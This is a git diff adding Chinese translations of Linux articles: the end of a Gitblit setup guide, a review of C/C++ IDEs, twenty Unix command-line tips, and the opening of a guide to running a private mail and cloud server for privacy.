+**手动启动:** + + root@vps124229 [/opt/gitblit]# java -jar gitblit.jar --baseFolder data + 2015-01-10 09:16:53 [INFO ] ***************************************************************** + 2015-01-10 09:16:53 [INFO ] _____ _ _ _ _ _ _ + 2015-01-10 09:16:53 [INFO ] | __ \(_)| | | | | |(_)| | + 2015-01-10 09:16:53 [INFO ] | | \/ _ | |_ | |__ | | _ | |_ + 2015-01-10 09:16:53 [INFO ] | | __ | || __|| '_ \ | || || __| + 2015-01-10 09:16:53 [INFO ] | |_\ \| || |_ | |_) || || || |_ + 2015-01-10 09:16:53 [INFO ] \____/|_| \__||_.__/ |_||_| \__| + 2015-01-10 09:16:53 [INFO ] Gitblit v1.6.2 + 2015-01-10 09:16:53 [INFO ] + 2015-01-10 09:16:53 [INFO ] ***************************************************************** + 2015-01-10 09:16:53 [INFO ] Running on Linux (3.8.13-xxxx-grs-ipv6-64-vps) + 2015-01-10 09:16:53 [INFO ] Logging initialized @842ms + 2015-01-10 09:16:54 [INFO ] Using JCE Unlimited Strength Jurisdiction Policy files + 2015-01-10 09:16:54 [INFO ] Setting up HTTPS transport on port 8443 + 2015-01-10 09:16:54 [INFO ] certificate alias = localhost + 2015-01-10 09:16:54 [INFO ] keyStorePath = /opt/gitblit/data/serverKeyStore.jks + 2015-01-10 09:16:54 [INFO ] trustStorePath = /opt/gitblit/data/serverTrustStore.jks + 2015-01-10 09:16:54 [INFO ] crlPath = /opt/gitblit/data/certs/caRevocationList.crl + 2015-01-10 09:16:54 [INFO ] Shutdown Monitor listening on port 8081 + 2015-01-10 09:16:54 [INFO ] jetty-9.2.3.v20140905 + 2015-01-10 09:16:55 [INFO ] NO JSP Support for /, did not find org.apache.jasper.servlet.JspServlet + 2015-01-10 09:16:55 [INFO ] + 2015-01-10 09:16:55 [INFO ] ----[com.gitblit.manager.IRuntimeManager]---- + 2015-01-10 09:16:55 [INFO ] Basefolder : /opt/gitblit/data + 2015-01-10 09:16:55 [INFO ] Settings : /opt/gitblit/data/gitblit.properties + 2015-01-10 09:16:55 [INFO ] JVM timezone: America/Montreal (EST -0500) + 2015-01-10 09:16:55 [INFO ] App timezone: America/Montreal (EST -0500) + 2015-01-10 09:16:55 [INFO ] JVM locale : en_US + 2015-01-10 09:16:55 [INFO ] App locale : + 2015-01-10 09:16:55 [INFO ] PF4J runtime mode is 'deployment' + 2015-01-10 09:16:55 [INFO ] Enabled plugins: [] + 2015-01-10 09:16:55 [INFO ] Disabled plugins: [] + 2015-01-10 09:16:55 [INFO ] + 2015-01-10 09:16:55 [INFO ] ----[com.gitblit.manager.INotificationManager]---- + 2015-01-10 09:16:55 [WARN ] Mail service disabled. + 2015-01-10 09:16:55 [INFO ] + 2015-01-10 09:16:55 [INFO ] ----[com.gitblit.manager.IUserManager]---- + 2015-01-10 09:16:55 [INFO ] ConfigUserService(/opt/gitblit/data/users.conf) + 2015-01-10 09:16:55 [INFO ] + 2015-01-10 09:16:55 [INFO ] ----[com.gitblit.manager.IAuthenticationManager]---- + 2015-01-10 09:16:55 [INFO ] External authentication disabled. + 2015-01-10 09:16:55 [INFO ] + 2015-01-10 09:16:55 [INFO ] ---- [com.gitblit.transport.ssh.IPublicKeyManager]---- + 2015-01-10 09:16:55 [INFO ] FileKeyManager (/opt/gitblit/data/ssh) + 2015-01-10 09:16:55 [INFO ] + 2015-01-10 09:16:55 [INFO ] ----[com.gitblit.manager.IRepositoryManager]---- + 2015-01-10 09:16:55 [INFO ] Repositories folder : /opt/gitblit/data/git + 2015-01-10 09:16:55 [INFO ] Identifying repositories... + 2015-01-10 09:16:55 [INFO ] 0 repositories identified with calculated folder sizes in 11 msecs + 2015-01-10 09:16:55 [INFO ] Lucene will process indexed branches every 2 minutes. + 2015-01-10 09:16:55 [INFO ] Garbage Collector (GC) is disabled. + 2015-01-10 09:16:55 [INFO ] Mirror service is disabled. + 2015-01-10 09:16:55 [INFO ] Alias UTF-9 & UTF-18 encodings as UTF-8 in JGit + 2015-01-10 09:16:55 [INFO ] Preparing 14 day commit cache. please wait... + 2015-01-10 09:16:55 [INFO ] 0 repositories identified with calculated folder sizes in 0 msecs + 2015-01-10 09:16:55 [INFO ] built 14 day commit cache of 0 commits across 0 repositories in 2 msecs + 2015-01-10 09:16:55 [INFO ] + 2015-01-10 09:16:55 [INFO ] ----[com.gitblit.manager.IProjectManager]---- + 2015-01-10 09:16:55 [INFO ] + 2015-01-10 09:16:55 [INFO ] ----[com.gitblit.manager.IFederationManager]---- + 2015-01-10 09:16:55 [INFO ] + 2015-01-10 09:16:55 [INFO ] ----[com.gitblit.manager.IGitblit]---- + 2015-01-10 09:16:55 [INFO ] Starting services manager... + 2015-01-10 09:16:55 [INFO ] Federation passphrase is blank! This server can not be PULLED from. + 2015-01-10 09:16:55 [INFO ] Fanout PubSub service is disabled. + 2015-01-10 09:16:55 [INFO ] Git Daemon is listening on 0.0.0.0:9418 + 2015-01-10 09:16:55 [INFO ] SSH Daemon (NIO2) is listening on 0.0.0.0:29418 + 2015-01-10 09:16:55 [WARN ] No ticket service configured. + 2015-01-10 09:16:55 [INFO ] + 2015-01-10 09:16:55 [INFO ] ----[com.gitblit.manager.IPluginManager]---- + 2015-01-10 09:16:55 [INFO ] No plugins + 2015-01-10 09:16:55 [INFO ] + 2015-01-10 09:16:55 [INFO ] All managers started. + +打开浏览器,依据你的配置进入**http://localhost:8080** 或者 **https://localhost:8443**。 输入默认的管理员授权:**admin / admin** 并点击**Login** 按钮 + +![snapshot2](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/snapshot2.png) + +### 添加用户: ### + +![snapshot1](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/snapshot1.png) + +###添加仓库:### + +![snapshot3](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/snapshot3.png) + +### 用命令行创建新的仓库: ### + + touch README.md + git init + git add README.md + git commit -m "first commit" + git remote add origin ssh://admin@142.4.202.70:29418/Programming.git + git push -u origin master + +### 从命令行推送已有的仓库: ### + + git remote add origin ssh://admin@142.4.202.70:29418/Programming.git + git push -u origin master + +完成! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/install-gitblit-ubuntu-fedora-centos/ + +作者:[M.el Khamlichi][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/pirat9/ +[1]:http://gitblit.com/ +[2]:http://git-scm.com/ \ No newline at end of file diff --git a/published/201503/20150114 What is a good IDE for C or C++ on Linux.md b/published/201503/20150114 What is a good IDE for C or C++ on Linux.md new file mode 100644 index 0000000000..e0e960744a --- /dev/null +++ b/published/201503/20150114 What is a good IDE for C or C++ on Linux.md @@ -0,0 +1,83 @@ +Linux 上的最佳 C/C++ IDE +================================================================================ +"一个真正的程序员是不用IDE(译者注:集成开发环境)的,他们都是用带着某某插件的文本编辑器来写代码。"我们总能在某些地方听到此类观点。然而,尽管越来越多的人同意这样的观点,但是一个IDE仍然非常有用,它设置简单,使用起来也很方便,因此不能比这样更合适编写一个项目了。所以鉴于这点,在这里我想给大家列一份在Linux平台上比较好的C/C++ IDE清单。为什么特地说C/C++呢?因为C语言是我最喜欢的编程语言,而且我们总要找个切入点来开始。另外要注意的是,通常有很多种编写C代码的方法,所以为了消减清单的篇幅,我只选择了"真正好用的IDE",而不是诸如Gedit或Vim这种注入[插件][1]的文本编辑器。并不是说这些编辑器不好,只是如果我将文本编辑器包含进去那这份清单就将永无止境了。 + +### 1. Code::Blocks ### + +![](https://farm8.staticflickr.com/7520/16089880989_10173db27b_c.jpg) + +用我个人的最爱来开篇,[Code::Blocks][2]是一款简单快速的专有C/C++ IDE。就像任何一款强大的IDE一样, 它集成了语法高亮、书签功能、自动补全功能、项目管理和一个调试器。它最闪亮的地方在于它简单的插件系统,里面添加了不可缺少的工具,像Valgrind和CppCheck,还有不太重要的比如像俄罗斯方块这样的小游戏。但是我特别喜欢它的理由是它连贯方便的快捷键设定和大量的却感受不到拥挤的选项设置。 + +### 2. Eclipse ### + +![](https://farm8.staticflickr.com/7522/16276001255_66235a0a69_c.jpg) + +我知道我只说"真正好用的IDE"而不是带着插件的文本编辑器,但是,[Eclipse][3]的确是一款"真正好用的IDE",只是Eclipse需要一些[插件][4](或经过一些改装)来编写C程序,所以严格来说我无法反驳我自己。而且,做一份IDE清单不提到Eclipse这个“巨人”是不可能的事情。无论喜欢它与否,Eclipse仍然是一款强大的Java编程工具。这里要感谢[CDT 项目][5],让Eclipse编写C程序变得可能。你同样可以体验到Eclipse的强大功能,包括它的一些传统功能特点比如自动补全、代码大纲、代码生成器和先进的重构功能。照我话说,它的不足之处在于它不如Code::Blocks那么轻量级,它仍然很臃肿,要花费很多时间去载入。但是如果你的电脑可以驾驭它,或者你是个忠实的Eclipse粉,那么它一定是你的不二选择。 + +### 3. Geany ### + +![](https://farm9.staticflickr.com/8573/16088461968_c6a6c9e49a_c.jpg) + +牺牲了很多特色功能但是增加了很多灵活性,[Geany][6]就是这样一款与Eclipse对立的软件。但是对于它所缺乏的地方(比如说没有调试器), Geany用一些漂亮小巧的特色功能弥补了它们:一个可以做笔记的区域、基于模板创作、代码大纲、自定义快捷键和插件管理。相比于现在的IDE,Geany仍然是一款作用广泛的文本编辑器,然而,因为它的功能亮点和它的界面设计,所以我把它放在这份列表里。 + +### 4. MonoDevelop ### + +![](https://farm8.staticflickr.com/7515/16275175052_61487480ce_c.jpg) + +这又是这份列表里的一个“巨人级”工具,[MonoDevelop][7]那无与伦比的体验来源于它的外表和界面。我个人非常喜爱它的项目管理体系和它的一体化版本控制系统。插件系统同样漂亮地让人震惊。但是由于一些原因,所有的设置和对所有编程语言的支持对于我来说让我感觉有点“资源过剩”了。它仍然是我在过去经常使用的伟大工具,但不是我在单单处理C语言时的第一选择。 + +### 5. Anjuta ### + +![](https://farm8.staticflickr.com/7514/16088462018_7ee6e5b433_c.jpg) + +它身上有着强烈的“GNOME即视感”,[Anjuta][8]的外观很具争议。我倾向于把它看作是带着调试器的Geany升级版,但是它的界面实际上要复杂得多。我确实很享受能在项目、文件夹和代码大纲视图之间来回切换的标签系统,我本想用诸如更多的快捷方法来移动文件,然而,这是一个很好的提供了显著编译功能和构建选项的工具,它能够支持哪些很有特点的需求。 + +### 6. Komodo Edit ### + +![](https://farm8.staticflickr.com/7502/16088462028_81d1114c84_c.jpg) + +我不是非常熟悉[Komodo Edit][9],但是在试用了一段时间之后,我被它很多很多的优点给惊喜到了。首先,基于标签的导航功能有很强的可预见性。其次它奇特的代码大纲让我想到了Sublime Text。此外,它的宏系统和文件比较器使得Komodo Edit非常实用。它的插件库让它几乎是完美的,说“几乎”是因为在其它IDE里我的确找不到能与之相媲美的快捷方法了。而且我们能享受到更多特别的C/C++工具,这往往是普通IDE的不足之处。然而,Komodo Edit就能做到。 + +### 7. NetBeans ### + +![](https://farm8.staticflickr.com/7569/16089881229_98beb0fce3_c.jpg) + +就好像Eclipse一样,这又是一款不得不提的“巨人级”软件。拥有的功能包括通过标签进行导航、项目管理、代码大纲、更改历史追踪和大量工具,[NetBeans][10]可能是最完整的IDE了,我能用半页来列出它所有让人震惊的特色功能。但是这同时也很容易地向你透露了它的主要缺点,它太臃肿了。比起它的强大,我更喜欢基于插件的软件,因为我觉得不太会有人为了一个同样的项目同时需要Git和Mercurial相结合来工作,我是不是很疯狂?但是如果你有耐心去掌握它所有的选项,那你差不多无论到哪里都是IDE大师了。 + +### 8. KDevelop ### + +![](https://farm8.staticflickr.com/7519/15653583824_e412f2ab1f_c.jpg) + +说到这,肯定照顾到所有的KDE粉丝,[KDevelop][11]会是你希望的答案。它拥有许多配置选项,如果你设法去征服KDevelop,那它就是你的。你们说我肤浅,但是我真的从来没有深入过除它界面以外的层次了,对于我来说编辑器本身就携带着大量的导航选项和可定制的快捷键简直是一个再糟糕不过的事了。它的调试器也是相当高级,要去练习掌握。然而,这样的耐心是有回报的,就是能领会到这款灵活的IDE的全部能力,并且由于它令人吃惊的嵌入式文件编制,你会给予它一种特殊的信任。 + +### 9. CodeLite ### + +![](https://farm9.staticflickr.com/8594/16250066446_b5f654e63f_c.jpg) + +留在最后的不代表是最差的,[CodeLite][12]展现给你一种传统的编程规则却仍然能让你从它身上那特有的感觉上有所收获,即使它的界面一开始的确让我想到了Code::Blocks和Anjuta,只是不包括大量的插件库。无论你想要比较文件、插入一条版权块、定义缩略语或者用Git来工作,总有一款插件适合你。如果我不得不挑点毛病,我想说它缺乏一些符合我口味的导航快捷键,但这是真的。 + +最后,我希望这份清单能让你给自己最喜欢的语言探索到更多新的IDE。虽然Code::Blocks仍然是我的最爱,不过它有一些很强大的对手。当然我们也可以远离Linux上的IDE,而用文本编辑器去编写C/C++代码。所以如果你有什么其它的建议想法,在评论中让我们获悉。或者如果你想要我再说说关于一些其它语言的IDE,也可以评论里提出。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/good-ide-for-c-cpp-linux.html + +作者:[Adrien Brochard][a] +译者:[ZTinoZ](https://github.com/ZTinoZ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/adrien +[1]:http://xmodulo.com/turn-vim-full-fledged-ide.html +[2]:http://www.codeblocks.org/ +[3]:https://eclipse.org/ +[4]:http://xmodulo.com/how-to-set-up-c-cpp-development-environment-in-eclipse.html +[5]:https://eclipse.org/cdt/ +[6]:http://www.geany.org/ +[7]:http://www.monodevelop.com/ +[8]:http://anjuta.org/ +[9]:http://komodoide.com/komodo-edit/ +[10]:https://netbeans.org/ +[11]:https://www.kdevelop.org/ +[12]:http://codelite.org/ \ No newline at end of file diff --git a/published/201503/20150115 20 Unix Command Line Tricks--Part I.md b/published/201503/20150115 20 Unix Command Line Tricks--Part I.md new file mode 100644 index 0000000000..deaaef6bfa --- /dev/null +++ b/published/201503/20150115 20 Unix Command Line Tricks--Part I.md @@ -0,0 +1,302 @@ +20个 Unix/Linux 命令技巧(一) +================================================================================ +让我们用**这些Unix/Linux命令技巧**开启新的一年,提高在终端下的生产力。我已经找了很久了,现在就与你们分享。 + +![](http://s0.cyberciti.org/uploads/cms/2015/01/unix-command-line-tricks.001.jpg) + +### 删除一个大文件 ### + +我在生产服务器上有一个很大的200GB的日志文件需要删除。我的rm和ls命令已经崩溃,我担心这是由于巨大的磁盘IO造成的,要删除这个大文件,输入: + + > /path/to/file.log + # 或使用如下格式 + : > /path/to/file.log + + # 然后删除它 + rm /path/to/file.log + +### 如何记录终端输出? ### + +试试使用script命令行工具来为你的终端输出创建输出记录。 + + script my.terminal.sessio + +输入命令: + + ls + date + sudo service foo stop + +要退出(结束script会话),输入 *exit* 或者 *logout* 或者按下 *control-D*。 + + exit + +要浏览输入: + + more my.terminal.session + less my.terminal.session + cat my.terminal.session + +### 还原被删除的 /tmp 文件夹 ### + +我在文章[Linux和Unix shell,我犯了一些错误][1]。我意外地删除了/tmp文件夹。要还原它,我需要这么做: + + mkdir /tmp + chmod 1777 /tmp + chown root:root /tmp + ls -ld /tmp + +### 锁定一个文件夹 ### + +为了我的数据隐私,我想要锁定我文件服务器下的/downloads文件夹。因此我运行了: + + chmod 0000 /downloads + +root用户仍旧可以访问,而ls和cd命令则不工作。要还原它用: + + chmod 0755 /downloads + +### 在vim中用密码保护文件 ### + +害怕root用户或者其他人偷窥你的个人文件么?尝试在vim中用密码保护,输入: + + vim +X filename + +或者,在退出vim之前使用:X 命令来加密你的文件,vim会提示你输入一个密码。 + +### 清除屏幕上的乱码 ### + +只要输入: + + reset + +### 易读格式 ### + +传递*-h*或者*-H*(和其他选项)选项给GNU或者BSD工具来获取像ls、df、du等命令以易读的格式输出: + + ls -lh + # 以易读的格式 (比如: 1K 234M 2G) + df -h + df -k + # 以字节、KB、MB 或 GB 输出: + free -b + free -k + free -m + free -g + # 以易读的格式输出 (比如 1K 234M 2G) + du -h + # 以易读的格式显示文件系统权限 + stat -c %A /boot + # 比较易读的数字 + sort -h -a file + # 在Linux上以易读的形式显示cpu信息 + lscpu + lscpu -e + lscpu -e=cpu,node + # 以易读的形式显示每个文件的大小 + tree -h + tree -h /boot + +### 在Linux系统中显示已知的用户信息 ### + +只要输入: + + ## linux 版本 ## + lslogins + + ## BSD 版本 ## + logins + +示例输出: + + UID USER PWD-LOCK PWD-DENY LAST-LOGIN GECOS + 0 root 0 0 22:37:59 root + 1 bin 0 1 bin + 2 daemon 0 1 daemon + 3 adm 0 1 adm + 4 lp 0 1 lp + 5 sync 0 1 sync + 6 shutdown 0 1 2014-Dec17 shutdown + 7 halt 0 1 halt + 8 mail 0 1 mail + 10 uucp 0 1 uucp + 11 operator 0 1 operator + 12 games 0 1 games + 13 gopher 0 1 gopher + 14 ftp 0 1 FTP User + 27 mysql 0 1 MySQL Server + 38 ntp 0 1 + 48 apache 0 1 Apache + 68 haldaemon 0 1 HAL daemon + 69 vcsa 0 1 virtual console memory owner + 72 tcpdump 0 1 + 74 sshd 0 1 Privilege-separated SSH + 81 dbus 0 1 System message bus + 89 postfix 0 1 + 99 nobody 0 1 Nobody + 173 abrt 0 1 + 497 vnstat 0 1 vnStat user + 498 nginx 0 1 nginx user + 499 saslauth 0 1 "Saslauthd user" + +### 我如何删除意外在当前文件夹下解压的文件? ### + +我意外在/var/www/html/而不是/home/projects/www/current下解压了一个tarball。它搞乱了/var/www/html下的文件,你甚至不知道哪些是误解压出来的。最简单修复这个问题的方法是: + + cd /var/www/html/ + /bin/rm -f "$(tar ztf /path/to/file.tar.gz)" + +### 对top命令的输出感到疑惑? ### + +正经地说,你应该试一下用htop代替top: + + sudo htop + +### 想要再次运行相同的命令 ### + +只需要输入!!。比如: + + /myhome/dir/script/name arg1 arg2 + + # 要再次运行相同的命令 + !! + + ## 以root用户运行最后运行的命令 + sudo !! + +!!会运行最近使用的命令。要运行最近运行的以“foo”开头命令: + + !foo + # 以root用户运行上一次以“service”开头的命令 + sudo !service + +!$用于运行带上最后一个参数的命令: + + # 编辑 nginx.conf + sudo vi /etc/nginx/nginx.conf + + # 测试 nginx.conf + /sbin/nginx -t -c /etc/nginx/nginx.conf + + # 测试完 "/sbin/nginx -t -c /etc/nginx/nginx.conf"你可以用vi再次编辑这个文件了 + sudo vi !$ + +### 在终端上提醒你必须得走了 ### + +如果你需要提醒离开你的终端,输入下面的命令: + + leave +hhmm + +这里: + +- **hhmm** - 时间是以hhmm的形式,hh表示小时(12时制或者24小时制),mm代表分钟。所有的时间都转化成12时制,并且假定发生在接下来的12小时。 + +### 甜蜜的家 ### + +想要进入刚才进入的地方?运行: + + cd - + +需要快速地回到你的家目录?输入: + + cd + +变量*CDPATH*定义了目录的搜索路径: + + export CDPATH=/var/www:/nas10 + +现在,不用输入cd */var/www/html/ 这样长了,我可以直接输入下面的命令进入 /var/www/html: + + cd html + +### 在less浏览时编辑文件 ### + +要编辑一个正在用less浏览的文件,可以按下v。你就可以用变量$EDITOR所指定的编辑器来编辑了: + + less *.c + less foo.html + ## 按下v键来编辑文件 ## + ## 退出编辑器后,你可以继续用less浏览了 ## + +### 列出你系统中的所有文件和目录 ### + +要看到你系统中的所有目录,运行: + + find / -type d | less + + # 列出$HOME 所有目录 + find $HOME -type d -ls | less + +要看到所有的文件,运行: + + find / -type f | less + + # 列出 $HOME 中所有的文件 + find $HOME -type f -ls | less + +### 用一条命令构造目录树 ### + +你可以用mkdir加上-p选项一次创建一颗目录树: + + mkdir -p /jail/{dev,bin,sbin,etc,usr,lib,lib64} + ls -l /jail/ + +### 将文件复制到多个目录中 ### + +不必运行: + + cp /path/to/file /usr/dir1 + cp /path/to/file /var/dir2 + cp /path/to/file /nas/dir3 + +运行下面的命令来复制文件到多个目录中: + + echo /usr/dir1 /var/dir2 /nas/dir3 | xargs -n 1 cp -v /path/to/file + +留下[创建一个shell函数][2]作为读者的练习。 + +### 快速找出两个目录的不同 ### + +diff命令会按行比较文件。但是它也可以比较两个目录: + + ls -l /tmp/r + ls -l /tmp/s + # 使用 diff 比较两个文件夹 + diff /tmp/r/ /tmp/s/ + +[![Fig. : Finding differences between folders](http://s0.cyberciti.org/uploads/cms/2015/01/differences-between-folders.jpg)][3] + +*图片: 找出目录之间的不同* + +### 文本格式化 ### + +你可以用fmt命令重新格式化每个段落。在本例中,我要用分割超长的行并且填充短行: + + fmt file.txt + +你也可以分割长的行,但是不重新填充,也就是说分割长行,但是不填充短行: + + fmt -s file.txt + +### 可以看见输出并将其写入到一个文件中 ### + +如下使用tee命令在屏幕上看见输出并同样写入到日志文件my.log中: + + mycoolapp arg1 arg2 input.file | tee my.log + +tee可以保证你同时在屏幕上看到mycoolapp的输出并写入文件  my.log。 + +-------------------------------------------------------------------------------- + +via: http://www.cyberciti.biz/open-source/command-line-hacks/20-unix-command-line-tricks-part-i/ + +作者:[nixCraft][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.cyberciti.biz/tips/about-us +[1]:http://www.cyberciti.biz/tips/my-10-unix-command-line-mistakes.html +[2]:http://bash.cyberciti.biz/guide/Writing_your_first_shell_function +[3]:http://www.cyberciti.biz/open-source/command-line-hacks/20-unix-command-line-tricks-part-i/attachment/differences-between-folders/ \ No newline at end of file diff --git a/published/201503/20150115 Get back your privacy and control.md b/published/201503/20150115 Get back your privacy and control.md new file mode 100644 index 0000000000..5c78a23751 --- /dev/null +++ b/published/201503/20150115 Get back your privacy and control.md @@ -0,0 +1,1112 @@ +权威指南:构建个人私有云,拿回你的数据隐私的控制权! +================================================================================ +8年里40000多次搜索!这是我的Google搜索历史。你的呢?(可以在[这里][1]自己找一下)有经过这么长时间积累下来的这么多数据点,Google已经能非常精确的推测你对什么感兴趣、曾经的想法、担忧过的事情,以及从你第一次获得Google帐号后这些年里所有这些的变化! + +## 很多非常私人的信息不受自己控制地存储在世界范围内的服务器上 ## + +比如说你也像我一样从2006年到2013年都是Gmail用户,意味着你收到了30000封以上的电子邮件,以及在这7年里写了差不多5000封电子邮件。这些发送或收到的电子邮件里有很多是非常私人的,私人到你甚至不希望自己的家人或好友可以系统地查看。也许你还写过一些草稿邮件,因为最后一分钟改变主意而从没发出去。但是尽管你从未发出去,这些邮件仍然保存在服务器上的某个地方。结论是,说Google服务器比你最亲密的朋友或家人都更了解你的个人生活一点也不过分。 + +从统计数据来看,我可以很保险地打赌你拥有一部智能手机。如果不使用联系人应用的话手机将基本没法用,而它默认会将你的联系人信息保存到Google服务器上的Google联系人里。所以,现在Google不仅知道了你的电子邮件,还有了你的离线联系人:你喜欢打给谁、谁来过电话、你发过短信给谁,以及发了些什么。你也不需要听我的片面之词,可以自己检查一下,看看你开放给类似Google Play服务的一些应用的权限,用来读取来电信息以及收到的短信。你是否还会用到手机里自带的日历应用?除非你在设置日程的时候明确地去掉同步,那么Google将精确地知道你将要做什么,一天里的每个时段、每一天、每一年。用iPhone代替Android手机也是一样的,只是Apple会代替Google来掌握你的往来邮件、联系人和日程计划。 + +你是否还会非常小心地同步自己的联系人信息,在你朋友,同事或家人换工作或换服务商的时候更新他们的电子邮件地址和手机号?这给Google提供了一副你的社交网络的非常精确的、最新的描绘。还有你非常喜欢手机的GPS功能,经常配合Google地图使用。这意味着Google不仅能从日程里知道你在干什么,还知道你在哪儿、住在哪儿、在哪儿工作。然后再关联用户之间的GPS位置信息,Google还能知道你现在可能正在和哪些人来往。 + +## 这种泄漏自己私人信息的日常爱好会以一种甚至没人能够预测的方式影响你的生活 ## + +总结一下,如果你是一个普通的因特网用户,Google拥有过去差不多10年里你最新的、深度的信息,关于你的兴趣、忧虑、热情、疑问。它还收集了一些你很私人的信息(电子邮件、短信),精确到小时的你的日常活动和位置,一副你社交网络的高精度的描绘。关于你的如此私密的数据,很可能已经超越了你最亲密的朋友,家人或爱人对你的了解。 + +不敢想象把这些深度的个人信息交给完全陌生的人,就好像把这些信息拷到一个U盘里,然后随便放到某个咖啡厅的桌上,留张纸条说“Olivier Martin的个人数据,请随便”。谁知道什么人会拿到它以及用来干嘛?然而,我们毫不犹豫地把自己的主要信息交给那些对我们的数据很感兴趣的IT公司的陌生人(这是他们制造面包的材料)以及[世界级的数据分析专家][2]手里,也许只是因为我们在点击那个绿色的'接受'按钮时根本没有想这么多。 + +有这么多的高质量信息,这么多年里,Google可能会比你希望自我了解的更了解你自己:尼玛,回想我过去的数字生活,5年前发出的邮件里有一半我已经不记得了。我很高兴能重新发现早在2005年对xxx主义的兴趣以及第二年加入了[ATTAC][3](一个致力于通过征收金融交易税来限制投机和改善社会公平的组织)。天知道为什么我竟然在2007年这么喜欢跳舞。这些都是无关紧要的信息(你不指望我能爆出什么猛料,是吧?;-)。但是,连接起这些高质量数据点,关于你生活的方方面面(做什么、什么时候、和谁一起、在哪里,...),并跨越这么长时间间隔,应该能推测出你的未来状态。比如说,根据一个17岁女孩的购物习惯,超市甚至可以在他父亲听说之前断定这个女孩怀孕了(这是一个[真实的故事][4])。谁知道通过像Google所掌握的这些远远超出购物习惯的高质量数据能做些什么?连接起这些点,也许有人能预测你未来几年里口味或观点的变化。如今,[你从未听过的公司声称拥有你500项数据点][5],包括宗教信仰、性取向和政治观点。提到政治,如果说你决定今后10年内进入政坛会怎么样?你的生活会改变,你的观点也一样,甚至你有时候会有所遗忘,但是Google不会。那你会不会担心你的对手会接触一些可以从Google访问你数据的人并会从你过去这些年里积累的个人数据深渊里挖出一些猛料呢?[就像最近Sony被黑][6]一样,多久以后会轮到Google或Facebook,以致让你的个人信息最终永远暴露? + +我们大多数人把自己的个人数据托付给这些公司的一个原因就是它们提供免费服务。但是真的免费吗?一般的Google帐号的价值根据评估方式不同会有些差别:你花在写邮件上的时间占到[1000美元/年][7],你的帐号对于广告产业的价值差不多在[220美元/年][8]到[500美元/年][9]之间。所以这些服务并不是真的免费:会通过广告和我们的数据在未来的一些未知使用来间接付费。 + +我写的最多的是Google,这是因为这是我托付个人数字信息的,以及目前我所知道做的最好的公司。但是我也提到过Apple或Facebook。这些公司通过它们在设计、工程和我们(曾经)喜欢每天使用的服务方面的神奇进步实实在在地改变了世界。但是这并不是说我们应该把所有我们最私人的个人数据堆积到它们的服务器上并把我们的数字生活托付给它们:潜在的危害实在太大了。 + +## 只要5小时,拿回自己以及关心的人的隐私权 ## + +但是事实并不是一定必须这样的。你可以生活在21世纪,拿着智能手机,每天都用电子邮件和GPS,却仍然可以保留自己的隐私。你所需要的就是拿回自己个人数据的控制权:邮件、日程、联系人、文件,等等。[Prism-Break.org][10]网站上列出了一些能帮你掌握个人数据命运的软件。除此以外,控制自己个人数据的最安全和最有效的方式是架设自己的服务器并搭建自己的云。不过你也许只是没有时间或精力去研究具体该怎么做以及如何让它能流畅工作。 + +这也是这篇文章的意义所在。仅仅5个小时内,我们将配置出一台服务器来支撑你的邮件、联系人、日程表和各种文件,为你、你的朋友和你的家人。这个服务器将设计成一个个人数据中心或云,所以你能时刻保留它的完整控制。数据将自动在你的台式机/笔记本、手机和平板之间同步。从根本上来说,**我们将建立一个系统来代替Gmail、Google文件/Dropbox、Google联系人、Google日历和Picasa**。 + +为自己做这件事情已经是迈出很大一步了。但是,你个人信息的很大一部分将仍然泄漏出去并保存到硅谷的一些主机上,只是因为和你日常来往的太多人在用Gmail和使用智能手机,所以最好是带上你一些比较亲近的人加入这次探险。 + +我们将构建的系统能够: + +- **支持任意数目的域名和用户**。这样就能轻易地和你的家人朋友共享这台服务器,所以他们也能掌控自己的个人数据,并且还能和你一起分摊服务费用。和你一起共享服务器的人可以使用他们自己的域名或者共享你的。 +- **允许你从任意网络发送和接收电子邮件**,需要成功登录服务器之后。这样,你可以通过任意的邮件地址、任意设备(台式机、手机、平板)、任意网络(家里、公司、公共网络、...)来发送电子邮件。 +- **在发送和接收邮件的时候加密网络数据**,这样,你不信任的人不能钓出你的密码,也不能看到你的私人邮件。 +- **提供最先进的反垃圾邮件技术**,结合了已知垃圾邮件黑名单、自动灰名单、和自适应垃圾邮件过滤。如果邮件被误判了只需要简单地把它拖入或拖出垃圾目录就可以重新调校垃圾邮件过滤器。而且,服务器还会为基于社区的反垃圾邮件努力做出贡献。 +- **一段时间里只需要几分钟的维护**,基本上只是安装安全更新和简单地检查一下服务器日志。添加一个新的邮件地址只需要在数据库中插入一条记录。除此之外,你可以忘记它的存在过自己的生活。我在14个月之前搭建了本文描述的这个系统,从那以后就一直顺利运行。所以我完全把它给忘了,直到我最近觉得随便按下手机上的‘检查邮件’会导致电子信号一路跑到冰岛(我放置服务器的地方)再回来的想法有点好笑才想起来。 + +要完成这篇文章里的工作,你需要一点基本的技术能力。如果你知道SMTP和IMAP的区别,什么是DNS,以及对TCP/IP有基本了解的话,就够了。你还将需要一点基本的Unix知识(在命令行下和文件一起工作,基本的系统管理)。然后你需要花总共5小时时间来搭建。 + +下面是我们将要做的事情的概述。 + +- [申请一个虚拟私人服务器,一个域名,并把它们配置好][11] +- [设置postfix和dovecot来收发电子邮件][12] +- [阻止垃圾邮件进入你的收件箱][13] +- [确保你发出的邮件能通过垃圾邮件过滤器][14] +- [使用Owncloud提供日历,联系人,文件服务并配置webmail][15] +- [在云上同步你的设备][16] + +## 这篇文章是受之前工作的启发并以之为基础 ## + +本文很大程度参考了两篇文章,由[Xavier Claude][17]和[Drew Crawford][18]写的关于架设私有邮件服务器的介绍。 + 